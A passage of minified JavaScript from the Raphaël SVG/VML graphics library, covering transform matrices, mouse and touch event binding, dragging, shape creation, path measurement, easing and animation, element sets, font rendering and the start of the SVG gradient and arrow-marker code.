o(this.a,this.b,this.c,this.d,this.e,this.f)},a.translate=function(a,b){this.add(1,0,0,1,a,b)},a.scale=function(a,b,c,d){null==b&&(b=a),(c||d)&&this.add(1,0,0,1,c,d),this.add(a,0,0,b,0,0),(c||d)&&this.add(1,0,0,1,-c,-d)},a.rotate=function(a,b,d){a=c.rad(a),b=b||0,d=d||0;var e=+N.cos(a).toFixed(9),f=+N.sin(a).toFixed(9);this.add(e,f,-f,e,b,d),this.add(1,0,0,1,-b,-d)},a.x=function(a,b){return a*this.a+b*this.c+this.e},a.y=function(a,b){return a*this.b+b*this.d+this.f},a.get=function(a){return+this[I.fromCharCode(97+a)].toFixed(4)},a.toString=function(){return c.svg?"matrix("+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)].join()+")":[this.get(0),this.get(2),this.get(1),this.get(3),0,0].join()},a.toFilter=function(){return"progid:DXImageTransform.Microsoft.Matrix(M11="+this.get(0)+", M12="+this.get(2)+", M21="+this.get(1)+", M22="+this.get(3)+", Dx="+this.get(4)+", Dy="+this.get(5)+", sizingmethod='auto expand')"},a.offset=function(){return[this.e.toFixed(4),this.f.toFixed(4)]},a.split=function(){var a={};a.dx=this.e,a.dy=this.f;var e=[[this.a,this.c],[this.b,this.d]];a.scalex=N.sqrt(b(e[0])),d(e[0]),a.shear=e[0][0]*e[1][0]+e[0][1]*e[1][1],e[1]=[e[1][0]-e[0][0]*a.shear,e[1][1]-e[0][1]*a.shear],a.scaley=N.sqrt(b(e[1])),d(e[1]),a.shear/=a.scaley;var f=-e[0][1],g=e[1][1];return 0>g?(a.rotate=c.deg(N.acos(g)),0>f&&(a.rotate=360-a.rotate)):a.rotate=c.deg(N.asin(f)),a.isSimple=!(+a.shear.toFixed(9)||a.scalex.toFixed(9)!=a.scaley.toFixed(9)&&a.rotate),a.isSuperSimple=!+a.shear.toFixed(9)&&a.scalex.toFixed(9)==a.scaley.toFixed(9)&&!a.rotate,a.noRotation=!+a.shear.toFixed(9)&&!a.rotate,a},a.toTransformString=function(a){var b=a||this[J]();return b.isSimple?(b.scalex=+b.scalex.toFixed(4),b.scaley=+b.scaley.toFixed(4),b.rotate=+b.rotate.toFixed(4),(b.dx||b.dy?"t"+[b.dx,b.dy]:G)+(1!=b.scalex||1!=b.scaley?"s"+[b.scalex,b.scaley,0,0]:G)+(b.rotate?"r"+[b.rotate,0,0]:G)):"m"+[this.get(0),this.get(1),this.get(2),this.get(3),this.get(4),this.get(5)]}}(o.prototype);var Qb=navigator.userAgent.match(/Version\/(.*?)\s/)||navigator.userAgent.match(/Chrome\/(\d+)/);v.safari="Apple Computer, Inc."==navigator.vendor&&(Qb&&Qb[1]<4||"iP"==navigator.platform.slice(0,2))||"Google Inc."==navigator.vendor&&Qb&&Qb[1]<8?function(){var a=this.rect(-99,-99,this.width+99,this.height+99).attr({stroke:"none"});setTimeout(function(){a.remove()})}:mb;for(var Rb=function(){this.returnValue=!1},Sb=function(){return this.originalEvent.preventDefault()},Tb=function(){this.cancelBubble=!0},Ub=function(){return this.originalEvent.stopPropagation()},Vb=function(a){var b=A.doc.documentElement.scrollTop||A.doc.body.scrollTop,c=A.doc.documentElement.scrollLeft||A.doc.body.scrollLeft;return{x:a.clientX+c,y:a.clientY+b}},Wb=function(){return A.doc.addEventListener?function(a,b,c,d){var e=function(a){var b=Vb(a);return c.call(d,a,b.x,b.y)};if(a.addEventListener(b,e,!1),F&&L[b]){var f=function(b){for(var e=Vb(b),f=b,g=0,h=b.targetTouches&&b.targetTouches.length;h>g;g++)if(b.targetTouches[g].target==a){b=b.targetTouches[g],b.originalEvent=f,b.preventDefault=Sb,b.stopPropagation=Ub;break}return c.call(d,b,e.x,e.y)};a.addEventListener(L[b],f,!1)}return function(){return a.removeEventListener(b,e,!1),F&&L[b]&&a.removeEventListener(L[b],e,!1),!0}}:A.doc.attachEvent?function(a,b,c,d){var e=function(a){a=a||A.win.event;var b=A.doc.documentElement.scrollTop||A.doc.body.scrollTop,e=A.doc.documentElement.scrollLeft||A.doc.body.scrollLeft,f=a.clientX+e,g=a.clientY+b;return a.preventDefault=a.preventDefault||Rb,a.stopPropagation=a.stopPropagation||Tb,c.call(d,a,f,g)};a.attachEvent("on"+b,e);var f=function(){return a.detachEvent("on"+b,e),!0};return f}:void 0}(),Xb=[],Yb=function(a){for(var c,d=a.clientX,e=a.clientY,f=A.doc.documentElement.scrollTop||A.doc.body.scrollTop,g=A.doc.documentElement.scrollLeft||A.doc.body.scrollLeft,h=Xb.length;h--;){if(c=Xb[h],F&&a.touches){for(var i,j=a.touches.length;j--;)if(i=a.touches[j],i.identifier==c.el._drag.id){d=i.clientX,e=i.clientY,(a.originalEvent?a.originalEvent:a).preventDefault();break}}else a.preventDefault();var k,l=c.el.node,m=l.nextSibling,n=l.parentNode,o=l.style.display;A.win.opera&&n.removeChild(l),l.style.display="none",k=c.el.paper.getElementByPoint(d,e),l.style.display=o,A.win.opera&&(m?n.insertBefore(l,m):n.appendChild(l)),k&&b("raphael.drag.over."+c.el.id,c.el,k),d+=g,e+=f,b("raphael.drag.move."+c.el.id,c.move_scope||c.el,d-c.el._drag.x,e-c.el._drag.y,d,e,a)}},Zb=function(a){c.unmousemove(Yb).unmouseup(Zb);for(var d,e=Xb.length;e--;)d=Xb[e],d.el._drag={},b("raphael.drag.end."+d.el.id,d.end_scope||d.start_scope||d.move_scope||d.el,a);Xb=[]},$b=c.el={},_b=K.length;_b--;)!function(a){c[a]=$b[a]=function(b,d){return c.is(b,"function")&&(this.events=this.events||[],this.events.push({name:a,f:b,unbind:Wb(this.shape||this.node||A.doc,a,b,d||this)})),this},c["un"+a]=$b["un"+a]=function(b){for(var d=this.events||[],e=d.length;e--;)d[e].name!=a||!c.is(b,"undefined")&&d[e].f!=b||(d[e].unbind(),d.splice(e,1),!d.length&&delete this.events);return this}}(K[_b]);$b.data=function(a,d){var e=kb[this.id]=kb[this.id]||{};if(0==arguments.length)return e;if(1==arguments.length){if(c.is(a,"object")){for(var f in a)a[z](f)&&this.data(f,a[f]);return this}return b("raphael.data.get."+this.id,this,e[a],a),e[a]}return e[a]=d,b("raphael.data.set."+this.id,this,d,a),this},$b.removeData=function(a){return null==a?kb[this.id]={}:kb[this.id]&&delete kb[this.id][a],this},$b.getData=function(){return d(kb[this.id]||{})},$b.hover=function(a,b,c,d){return this.mouseover(a,c).mouseout(b,d||c)},$b.unhover=function(a,b){return this.unmouseover(a).unmouseout(b)};var ac=[];$b.drag=function(a,d,e,f,g,h){function i(i){(i.originalEvent||i).preventDefault();var j=i.clientX,k=i.clientY,l=A.doc.documentElement.scrollTop||A.doc.body.scrollTop,m=A.doc.documentElement.scrollLeft||A.doc.body.scrollLeft;if(this._drag.id=i.identifier,F&&i.touches)for(var n,o=i.touches.length;o--;)if(n=i.touches[o],this._drag.id=n.identifier,n.identifier==this._drag.id){j=n.clientX,k=n.clientY;break}this._drag.x=j+m,this._drag.y=k+l,!Xb.length&&c.mousemove(Yb).mouseup(Zb),Xb.push({el:this,move_scope:f,start_scope:g,end_scope:h}),d&&b.on("raphael.drag.start."+this.id,d),a&&b.on("raphael.drag.move."+this.id,a),e&&b.on("raphael.drag.end."+this.id,e),b("raphael.drag.start."+this.id,g||f||this,i.clientX+m,i.clientY+l,i)}return this._drag={},ac.push({el:this,start:i}),this.mousedown(i),this},$b.onDragOver=function(a){a?b.on("raphael.drag.over."+this.id,a):b.unbind("raphael.drag.over."+this.id)},$b.undrag=function(){for(var a=ac.length;a--;)ac[a].el==this&&(this.unmousedown(ac[a].start),ac.splice(a,1),b.unbind("raphael.drag.*."+this.id));!ac.length&&c.unmousemove(Yb).unmouseup(Zb),Xb=[]},v.circle=function(a,b,d){var e=c._engine.circle(this,a||0,b||0,d||0);return this.__set__&&this.__set__.push(e),e},v.rect=function(a,b,d,e,f){var g=c._engine.rect(this,a||0,b||0,d||0,e||0,f||0);return this.__set__&&this.__set__.push(g),g},v.ellipse=function(a,b,d,e){var f=c._engine.ellipse(this,a||0,b||0,d||0,e||0);return this.__set__&&this.__set__.push(f),f},v.path=function(a){a&&!c.is(a,U)&&!c.is(a[0],V)&&(a+=G);var b=c._engine.path(c.format[D](c,arguments),this);return this.__set__&&this.__set__.push(b),b},v.image=function(a,b,d,e,f){var g=c._engine.image(this,a||"about:blank",b||0,d||0,e||0,f||0);return this.__set__&&this.__set__.push(g),g},v.text=function(a,b,d){var e=c._engine.text(this,a||0,b||0,I(d));return this.__set__&&this.__set__.push(e),e},v.set=function(a){!c.is(a,"array")&&(a=Array.prototype.splice.call(arguments,0,arguments.length));var b=new mc(a);return this.__set__&&this.__set__.push(b),b.paper=this,b.type="set",b},v.setStart=function(a){this.__set__=a||this.set()},v.setFinish=function(){var a=this.__set__;return delete this.__set__,a},v.setSize=function(a,b){return c._engine.setSize.call(this,a,b)},v.setViewBox=function(a,b,d,e,f){return c._engine.setViewBox.call(this,a,b,d,e,f)},v.top=v.bottom=null,v.raphael=c;var bc=function(a){var b=a.getBoundingClientRect(),c=a.ownerDocument,d=c.body,e=c.documentElement,f=e.clientTop||d.clientTop||0,g=e.clientLeft||d.clientLeft||0,h=b.top+(A.win.pageYOffset||e.scrollTop||d.scrollTop)-f,i=b.left+(A.win.pageXOffset||e.scrollLeft||d.scrollLeft)-g;return{y:h,x:i}};v.getElementByPoint=function(a,b){var c=this,d=c.canvas,e=A.doc.elementFromPoint(a,b);if(A.win.opera&&"svg"==e.tagName){var f=bc(d),g=d.createSVGRect();g.x=a-f.x,g.y=b-f.y,g.width=g.height=1;var h=d.getIntersectionList(g,null);h.length&&(e=h[h.length-1])}if(!e)return null;for(;e.parentNode&&e!=d.parentNode&&!e.raphael;)e=e.parentNode;return e==c.canvas.parentNode&&(e=d),e=e&&e.raphael?c.getById(e.raphaelid):null},v.getElementsByBBox=function(a){var b=this.set();return this.forEach(function(d){c.isBBoxIntersect(d.getBBox(),a)&&b.push(d)}),b},v.getById=function(a){for(var b=this.bottom;b;){if(b.id==a)return b;b=b.next}return null},v.forEach=function(a,b){for(var c=this.bottom;c;){if(a.call(b,c)===!1)return this;c=c.next}return this},v.getElementsByPoint=function(a,b){var c=this.set();return this.forEach(function(d){d.isPointInside(a,b)&&c.push(d)}),c},$b.isPointInside=function(a,b){var d=this.realPath=qb[this.type](this);return this.attr("transform")&&this.attr("transform").length&&(d=c.transformPath(d,this.attr("transform"))),c.isPointInsidePath(d,a,b)},$b.getBBox=function(a){if(this.removed)return{};var b=this._;return a?((b.dirty||!b.bboxwt)&&(this.realPath=qb[this.type](this),b.bboxwt=Bb(this.realPath),b.bboxwt.toString=p,b.dirty=0),b.bboxwt):((b.dirty||b.dirtyT||!b.bbox)&&((b.dirty||!this.realPath)&&(b.bboxwt=0,this.realPath=qb[this.type](this)),b.bbox=Bb(rb(this.realPath,this.matrix)),b.bbox.toString=p,b.dirty=b.dirtyT=0),b.bbox)},$b.clone=function(){if(this.removed)return null;var a=this.paper[this.type]().attr(this.attr());return this.__set__&&this.__set__.push(a),a},$b.glow=function(a){if("text"==this.type)return null;a=a||{};var b={width:(a.width||10)+(+this.attr("stroke-width")||1),fill:a.fill||!1,opacity:a.opacity||.5,offsetx:a.offsetx||0,offsety:a.offsety||0,color:a.color||"#000"},c=b.width/2,d=this.paper,e=d.set(),f=this.realPath||qb[this.type](this);f=this.matrix?rb(f,this.matrix):f;for(var g=1;c+1>g;g++)e.push(d.path(f).attr({stroke:b.color,fill:b.fill?b.color:"none","stroke-linejoin":"round","stroke-linecap":"round","stroke-width":+(b.width/c*g).toFixed(3),opacity:+(b.opacity/c).toFixed(3)}));return e.insertBefore(this).translate(b.offsetx,b.offsety)};var cc=function(a,b,d,e,f,g,h,i,l){return null==l?j(a,b,d,e,f,g,h,i):c.findDotsAtSegment(a,b,d,e,f,g,h,i,k(a,b,d,e,f,g,h,i,l))},dc=function(a,b){return function(d,e,f){d=Kb(d);for(var g,h,i,j,k,l="",m={},n=0,o=0,p=d.length;p>o;o++){if(i=d[o],"M"==i[0])g=+i[1],h=+i[2];else{if(j=cc(g,h,i[1],i[2],i[3],i[4],i[5],i[6]),n+j>e){if(b&&!m.start){if(k=cc(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n),l+=["C"+k.start.x,k.start.y,k.m.x,k.m.y,k.x,k.y],f)return l;m.start=l,l=["M"+k.x,k.y+"C"+k.n.x,k.n.y,k.end.x,k.end.y,i[5],i[6]].join(),n+=j,g=+i[5],h=+i[6];continue}if(!a&&!b)return k=cc(g,h,i[1],i[2],i[3],i[4],i[5],i[6],e-n),{x:k.x,y:k.y,alpha:k.alpha}}n+=j,g=+i[5],h=+i[6]}l+=i.shift()+i}return m.end=l,k=a?n:b?m:c.findDotsAtSegment(g,h,i[0],i[1],i[2],i[3],i[4],i[5],1),k.alpha&&(k={x:k.x,y:k.y,alpha:k.alpha}),k}},ec=dc(1),fc=dc(),gc=dc(0,1);c.getTotalLength=ec,c.getPointAtLength=fc,c.getSubpath=function(a,b,c){if(this.getTotalLength(a)-c<1e-6)return gc(a,b).end;var d=gc(a,c,1);return b?gc(d,b).end:d},$b.getTotalLength=function(){var a=this.getPath();if(a)return this.node.getTotalLength?this.node.getTotalLength():ec(a)},$b.getPointAtLength=function(a){var b=this.getPath();if(b)return fc(b,a)},$b.getPath=function(){var a,b=c._getPath[this.type];if("text"!=this.type&&"set"!=this.type)return b&&(a=b(this)),a},$b.getSubpath=function(a,b){var d=this.getPath();if(d)return c.getSubpath(d,a,b)};var hc=c.easing_formulas={linear:function(a){return a},"<":function(a){return R(a,1.7)},">":function(a){return R(a,.48)},"<>":function(a){var b=.48-a/1.04,c=N.sqrt(.1734+b*b),d=c-b,e=R(Q(d),1/3)*(0>d?-1:1),f=-c-b,g=R(Q(f),1/3)*(0>f?-1:1),h=e+g+.5;return 3*(1-h)*h*h+h*h*h},backIn:function(a){var b=1.70158;return a*a*((b+1)*a-b)},backOut:function(a){a-=1;var b=1.70158;return a*a*((b+1)*a+b)+1},elastic:function(a){return a==!!a?a:R(2,-10*a)*N.sin((a-.075)*2*S/.3)+1},bounce:function(a){var b,c=7.5625,d=2.75;return 1/d>a?b=c*a*a:2/d>a?(a-=1.5/d,b=c*a*a+.75):2.5/d>a?(a-=2.25/d,b=c*a*a+.9375):(a-=2.625/d,b=c*a*a+.984375),b}};hc.easeIn=hc["ease-in"]=hc["<"],hc.easeOut=hc["ease-out"]=hc[">"],hc.easeInOut=hc["ease-in-out"]=hc["<>"],hc["back-in"]=hc.backIn,hc["back-out"]=hc.backOut;var ic=[],jc=a.requestAnimationFrame||a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||a.oRequestAnimationFrame||a.msRequestAnimationFrame||function(a){setTimeout(a,16)},kc=function(){for(var a=+new Date,d=0;d<ic.length;d++){var e=ic[d];if(!e.el.removed&&!e.paused){var f,g,h=a-e.start,i=e.ms,j=e.easing,k=e.from,l=e.diff,m=e.to,n=(e.t,e.el),o={},p={};if(e.initstatus?(h=(e.initstatus*e.anim.top-e.prev)/(e.percent-e.prev)*i,e.status=e.initstatus,delete e.initstatus,e.stop&&ic.splice(d--,1)):e.status=(e.prev+(e.percent-e.prev)*(h/i))/e.anim.top,!(0>h))if(i>h){var q=j(h/i);for(var r in k)if(k[z](r)){switch(db[r]){case T:f=+k[r]+q*i*l[r];break;case"colour":f="rgb("+[lc($(k[r].r+q*i*l[r].r)),lc($(k[r].g+q*i*l[r].g)),lc($(k[r].b+q*i*l[r].b))].join(",")+")";break;case"path":f=[];for(var t=0,u=k[r].length;u>t;t++){f[t]=[k[r][t][0]];for(var v=1,w=k[r][t].length;w>v;v++)f[t][v]=+k[r][t][v]+q*i*l[r][t][v];f[t]=f[t].join(H)}f=f.join(H);break;case"transform":if(l[r].real)for(f=[],t=0,u=k[r].length;u>t;t++)for(f[t]=[k[r][t][0]],v=1,w=k[r][t].length;w>v;v++)f[t][v]=k[r][t][v]+q*i*l[r][t][v];else{var x=function(a){return+k[r][a]+q*i*l[r][a]};f=[["m",x(0),x(1),x(2),x(3),x(4),x(5)]]}break;case"csv":if("clip-rect"==r)for(f=[],t=4;t--;)f[t]=+k[r][t]+q*i*l[r][t];break;default:var y=[][E](k[r]);for(f=[],t=n.paper.customAttributes[r].length;t--;)f[t]=+y[t]+q*i*l[r][t]}o[r]=f}n.attr(o),function(a,c,d){setTimeout(function(){b("raphael.anim.frame."+a,c,d)})}(n.id,n,e.anim)}else{if(function(a,d,e){setTimeout(function(){b("raphael.anim.frame."+d.id,d,e),b("raphael.anim.finish."+d.id,d,e),c.is(a,"function")&&a.call(d)})}(e.callback,n,e.anim),n.attr(m),ic.splice(d--,1),e.repeat>1&&!e.next){for(g in m)m[z](g)&&(p[g]=e.totalOrigin[g]);e.el.attr(p),s(e.anim,e.el,e.anim.percents[0],null,e.totalOrigin,e.repeat-1)}e.next&&!e.stop&&s(e.anim,e.el,e.next,null,e.totalOrigin,e.repeat)}}}c.svg&&n&&n.paper&&n.paper.safari(),ic.length&&jc(kc)},lc=function(a){return a>255?255:0>a?0:a};$b.animateWith=function(a,b,d,e,f,g){var h=this;if(h.removed)return g&&g.call(h),h;var i=d instanceof r?d:c.animation(d,e,f,g);s(i,h,i.percents[0],null,h.attr());for(var j=0,k=ic.length;k>j;j++)if(ic[j].anim==b&&ic[j].el==a){ic[k-1].start=ic[j].start;break}return h},$b.onAnimation=function(a){return a?b.on("raphael.anim.frame."+this.id,a):b.unbind("raphael.anim.frame."+this.id),this},r.prototype.delay=function(a){var b=new r(this.anim,this.ms);return b.times=this.times,b.del=+a||0,b},r.prototype.repeat=function(a){var b=new r(this.anim,this.ms);return b.del=this.del,b.times=N.floor(O(a,0))||1,b},c.animation=function(a,b,d,e){if(a instanceof r)return a;(c.is(d,"function")||!d)&&(e=e||d||null,d=null),a=Object(a),b=+b||0;var f,g,h={};for(g in a)a[z](g)&&_(g)!=g&&_(g)+"%"!=g&&(f=!0,h[g]=a[g]);return f?(d&&(h.easing=d),e&&(h.callback=e),new r({100:h},b)):new r(a,b)},$b.animate=function(a,b,d,e){var f=this;if(f.removed)return e&&e.call(f),f;var g=a instanceof r?a:c.animation(a,b,d,e);return s(g,f,g.percents[0],null,f.attr()),f},$b.setTime=function(a,b){return a&&null!=b&&this.status(a,P(b,a.ms)/a.ms),this},$b.status=function(a,b){var c,d,e=[],f=0;if(null!=b)return s(a,this,-1,P(b,1)),this;for(c=ic.length;c>f;f++)if(d=ic[f],d.el.id==this.id&&(!a||d.anim==a)){if(a)return d.status;e.push({anim:d.anim,status:d.status})}return a?0:e},$b.pause=function(a){for(var c=0;c<ic.length;c++)ic[c].el.id!=this.id||a&&ic[c].anim!=a||b("raphael.anim.pause."+this.id,this,ic[c].anim)!==!1&&(ic[c].paused=!0);return this},$b.resume=function(a){for(var c=0;c<ic.length;c++)if(ic[c].el.id==this.id&&(!a||ic[c].anim==a)){var d=ic[c];b("raphael.anim.resume."+this.id,this,d.anim)!==!1&&(delete d.paused,this.status(d.anim,d.status))}return this},$b.stop=function(a){for(var c=0;c<ic.length;c++)ic[c].el.id!=this.id||a&&ic[c].anim!=a||b("raphael.anim.stop."+this.id,this,ic[c].anim)!==!1&&ic.splice(c--,1);return this},b.on("raphael.remove",t),b.on("raphael.clear",t),$b.toString=function(){return"Raphaël’s object"};var mc=function(a){if(this.items=[],this.length=0,this.type="set",a)for(var b=0,c=a.length;c>b;b++)!a[b]||a[b].constructor!=$b.constructor&&a[b].constructor!=mc||(this[this.items.length]=this.items[this.items.length]=a[b],this.length++)},nc=mc.prototype;nc.push=function(){for(var a,b,c=0,d=arguments.length;d>c;c++)a=arguments[c],!a||a.constructor!=$b.constructor&&a.constructor!=mc||(b=this.items.length,this[b]=this.items[b]=a,this.length++);return this},nc.pop=function(){return this.length&&delete this[this.length--],this.items.pop()},nc.forEach=function(a,b){for(var c=0,d=this.items.length;d>c;c++)if(a.call(b,this.items[c],c)===!1)return this;return this};for(var oc in $b)$b[z](oc)&&(nc[oc]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a][D](c,b)})}}(oc));return nc.attr=function(a,b){if(a&&c.is(a,V)&&c.is(a[0],"object"))for(var d=0,e=a.length;e>d;d++)this.items[d].attr(a[d]);else for(var f=0,g=this.items.length;g>f;f++)this.items[f].attr(a,b);return this},nc.clear=function(){for(;this.length;)this.pop()},nc.splice=function(a,b){a=0>a?O(this.length+a,0):a,b=O(0,P(this.length-a,b));var c,d=[],e=[],f=[];for(c=2;c<arguments.length;c++)f.push(arguments[c]);for(c=0;b>c;c++)e.push(this[a+c]);for(;c<this.length-a;c++)d.push(this[a+c]);var g=f.length;for(c=0;c<g+d.length;c++)this.items[a+c]=this[a+c]=g>c?f[c]:d[c-g];for(c=this.items.length=this.length-=b-g;this[c];)delete this[c++];return new mc(e)},nc.exclude=function(a){for(var b=0,c=this.length;c>b;b++)if(this[b]==a)return this.splice(b,1),!0},nc.animate=function(a,b,d,e){(c.is(d,"function")||!d)&&(e=d||null);var f,g,h=this.items.length,i=h,j=this;if(!h)return this;e&&(g=function(){!--h&&e.call(j)}),d=c.is(d,U)?d:g;var k=c.animation(a,b,d,g);for(f=this.items[--i].animate(k);i--;)this.items[i]&&!this.items[i].removed&&this.items[i].animateWith(f,k,k),this.items[i]&&!this.items[i].removed||h--;return this},nc.insertAfter=function(a){for(var b=this.items.length;b--;)this.items[b].insertAfter(a);return this},nc.getBBox=function(){for(var a=[],b=[],c=[],d=[],e=this.items.length;e--;)if(!this.items[e].removed){var f=this.items[e].getBBox();a.push(f.x),b.push(f.y),c.push(f.x+f.width),d.push(f.y+f.height)}return a=P[D](0,a),b=P[D](0,b),c=O[D](0,c),d=O[D](0,d),{x:a,y:b,x2:c,y2:d,width:c-a,height:d-b}},nc.clone=function(a){a=this.paper.set();for(var b=0,c=this.items.length;c>b;b++)a.push(this.items[b].clone());return a},nc.toString=function(){return"Raphaël‘s set"},nc.glow=function(a){var b=this.paper.set();return this.forEach(function(c){var d=c.glow(a);null!=d&&d.forEach(function(a){b.push(a)})}),b},nc.isPointInside=function(a,b){var c=!1;return this.forEach(function(d){return d.isPointInside(a,b)?(console.log("runned"),c=!0,!1):void 0}),c},c.registerFont=function(a){if(!a.face)return a;this.fonts=this.fonts||{};var b={w:a.w,face:{},glyphs:{}},c=a.face["font-family"];for(var d in a.face)a.face[z](d)&&(b.face[d]=a.face[d]);if(this.fonts[c]?this.fonts[c].push(b):this.fonts[c]=[b],!a.svg){b.face["units-per-em"]=ab(a.face["units-per-em"],10);for(var e in a.glyphs)if(a.glyphs[z](e)){var f=a.glyphs[e];if(b.glyphs[e]={w:f.w,k:{},d:f.d&&"M"+f.d.replace(/[mlcxtrv]/g,function(a){return{l:"L",c:"C",x:"z",t:"m",r:"l",v:"c"}[a]||"M"})+"z"},f.k)for(var g in f.k)f[z](g)&&(b.glyphs[e].k[g]=f.k[g])}}return a},v.getFont=function(a,b,d,e){if(e=e||"normal",d=d||"normal",b=+b||{normal:400,bold:600,lighter:300,bolder:600}[b]||400,c.fonts){var f=c.fonts[a];if(!f){var g=new RegExp("(^|\\s)"+a.replace(/[^\w\d\s+!~.:_-]/g,G)+"(\\s|$)","i");for(var h in c.fonts)if(c.fonts[z](h)&&g.test(h)){f=c.fonts[h];break}}var i;if(f)for(var j=0,k=f.length;k>j&&(i=f[j],i.face["font-weight"]!=b||i.face["font-style"]!=d&&i.face["font-style"]||i.face["font-stretch"]!=e);j++);return i}},v.print=function(a,b,d,e,f,g,h,i){g=g||"middle",h=O(P(h||0,1),-1),i=O(P(i||1,3),1);var j,k=I(d)[J](G),l=0,m=0,n=G;if(c.is(e,"string")&&(e=this.getFont(e)),e){j=(f||16)/e.face["units-per-em"];for(var o=e.face.bbox[J](w),p=+o[0],q=o[3]-o[1],r=0,s=+o[1]+("baseline"==g?q+ +e.face.descent:q/2),t=0,u=k.length;u>t;t++){if("\n"==k[t])l=0,x=0,m=0,r+=q*i;else{var v=m&&e.glyphs[k[t-1]]||{},x=e.glyphs[k[t]];l+=m?(v.w||e.w)+(v.k&&v.k[k[t]]||0)+e.w*h:0,m=1}x&&x.d&&(n+=c.transformPath(x.d,["t",l*j,r*j,"s",j,j,p,s,"t",(a-p)/j,(b-s)/j]))}}return this.path(n).attr({fill:"#000",stroke:"none"})},v.add=function(a){if(c.is(a,"array"))for(var b,d=this.set(),e=0,f=a.length;f>e;e++)b=a[e]||{},x[z](b.type)&&d.push(this[b.type]().attr(b));return d},c.format=function(a,b){var d=c.is(b,V)?[0][E](b):arguments;return a&&c.is(a,U)&&d.length-1&&(a=a.replace(y,function(a,b){return null==d[++b]?G:d[b]})),a||G},c.fullfill=function(){var a=/\{([^\}]+)\}/g,b=/(?:(?:^|\.)(.+?)(?=\[|\.|$|\()|\[('|")(.+?)\2\])(\(\))?/g,c=function(a,c,d){var e=d;return c.replace(b,function(a,b,c,d,f){b=b||d,e&&(b in e&&(e=e[b]),"function"==typeof e&&f&&(e=e()))}),e=(null==e||e==d?a:e)+""};return function(b,d){return String(b).replace(a,function(a,b){return c(a,b,d)})}}(),c.ninja=function(){return B.was?A.win.Raphael=B.is:delete Raphael,c},c.st=nc,function(a,b,d){function e(){/in/.test(a.readyState)?setTimeout(e,9):c.eve("raphael.DOMload")}null==a.readyState&&a.addEventListener&&(a.addEventListener(b,d=function(){a.removeEventListener(b,d,!1),a.readyState="complete"},!1),a.readyState="loading"),e()}(document,"DOMContentLoaded"),b.on("raphael.DOMload",function(){u=!0}),function(){if(c.svg){var a="hasOwnProperty",b=String,d=parseFloat,e=parseInt,f=Math,g=f.max,h=f.abs,i=f.pow,j=/[, ]+/,k=c.eve,l="",m=" ",n="http://www.w3.org/1999/xlink",o={block:"M5,0 0,2.5 5,5z",classic:"M5,0 0,2.5 5,5 3.5,3 3.5,2z",diamond:"M2.5,0 5,2.5 2.5,5 0,2.5z",open:"M6,1 1,3.5 6,6",oval:"M2.5,0A2.5,2.5,0,0,1,2.5,5 2.5,2.5,0,0,1,2.5,0z"},p={};c.toString=function(){return"Your browser supports SVG.\nYou are running Raphaël "+this.version};var q=function(d,e){if(e){"string"==typeof d&&(d=q(d));for(var f in e)e[a](f)&&("xlink:"==f.substring(0,6)?d.setAttributeNS(n,f.substring(6),b(e[f])):d.setAttribute(f,b(e[f])))}else d=c._g.doc.createElementNS("http://www.w3.org/2000/svg",d),d.style&&(d.style.webkitTapHighlightColor="rgba(0,0,0,0)");return d},r=function(a,e){var j="linear",k=a.id+e,m=.5,n=.5,o=a.node,p=a.paper,r=o.style,s=c._g.doc.getElementById(k);if(!s){if(e=b(e).replace(c._radial_gradient,function(a,b,c){if(j="radial",b&&c){m=d(b),n=d(c);var e=2*(n>.5)-1;i(m-.5,2)+i(n-.5,2)>.25&&(n=f.sqrt(.25-i(m-.5,2))*e+.5)&&.5!=n&&(n=n.toFixed(5)-1e-5*e)}return l}),e=e.split(/\s*\-\s*/),"linear"==j){var t=e.shift();if(t=-d(t),isNaN(t))return null;var u=[0,0,f.cos(c.rad(t)),f.sin(c.rad(t))],v=1/(g(h(u[2]),h(u[3]))||1);u[2]*=v,u[3]*=v,u[2]<0&&(u[0]=-u[2],u[2]=0),u[3]<0&&(u[1]=-u[3],u[3]=0)}var w=c._parseDots(e);if(!w)return null;if(k=k.replace(/[\(\)\s,\xb0#]/g,"_"),a.gradient&&k!=a.gradient.id&&(p.defs.removeChild(a.gradient),delete a.gradient),!a.gradient){s=q(j+"Gradient",{id:k}),a.gradient=s,q(s,"radial"==j?{fx:m,fy:n}:{x1:u[0],y1:u[1],x2:u[2],y2:u[3],gradientTransform:a.matrix.invert()}),p.defs.appendChild(s);for(var x=0,y=w.length;y>x;x++)s.appendChild(q("stop",{offset:w[x].offset?w[x].offset:x?"100%":"0%","stop-color":w[x].color||"#fff"}))}}return q(o,{fill:"url(#"+k+")",opacity:1,"fill-opacity":1}),r.fill=l,r.opacity=1,r.fillOpacity=1,1},s=function(a){var b=a.getBBox(1);q(a.pattern,{patternTransform:a.matrix.invert()+" translate("+b.x+","+b.y+")"})},t=function(d,e,f){if("path"==d.type){for(var g,h,i,j,k,m=b(e).toLowerCase().split("-"),n=d.paper,r=f?"end":"start",s=d.node,t=d.attrs,u=t["stroke-width"],v=m.length,w="classic",x=3,y=3,z=5;v--;)switch(m[v]){case"block":case"classic":case"oval":case"diamond":case"open":case"none":w=m[v];break;case"wide":y=5;break;case"narrow":y=2;break;case"long":x=5;break;case"short":x=2}if("open"==w?(x+=2,y+=2,z+=2,i=1,j=f?4:1,k={fill:"none",stroke:t.stroke}):(j=i=x/2,k={fill:t.stroke,stroke:"none"}),d._.arrows?f?(d._.arrows.endPath&&p[d._.arrows.endPath]--,d._.arrows.endMarker&&p[d._.arrows.endMarker]--):(d._.arrows.startPath&&p[d._.arrows.startPath]--,d._.arrows.startMarker&&p[d._.arrows.startMarker]--):d._.arrows={},"none"!=w){var A="raphael-marker-"+w,B="raphael-marker-"+r+w+x+y;c._g.doc.getElementById(A)?p[A]++:(n.defs.appendChild(q(q("path"),{"stroke-linecap":"round",d:o[w],id:A})),p[A]=1);var C,D=c._g.doc.getElementById(B);D?(p[B]++,C=D.getElementsByTagName("use")[0]):(D=q(q("marker"),{id:B,markerHeight:y,markerWidth:x,orient:"auto",refX:j,refY:y/2}),C=q(q("use"),{"xlink:href":"#"+A,transform:(f?"rotate(180 "+x/2+" "+y/2+") ":l)+"scale("+x/z+","+y/z+")","stroke-width":(1/((x/z+y/z)/2)).toFixed(4)}),D.appendChild(C),n.defs.appendChild(D),p[B]=1),q(C,k);var 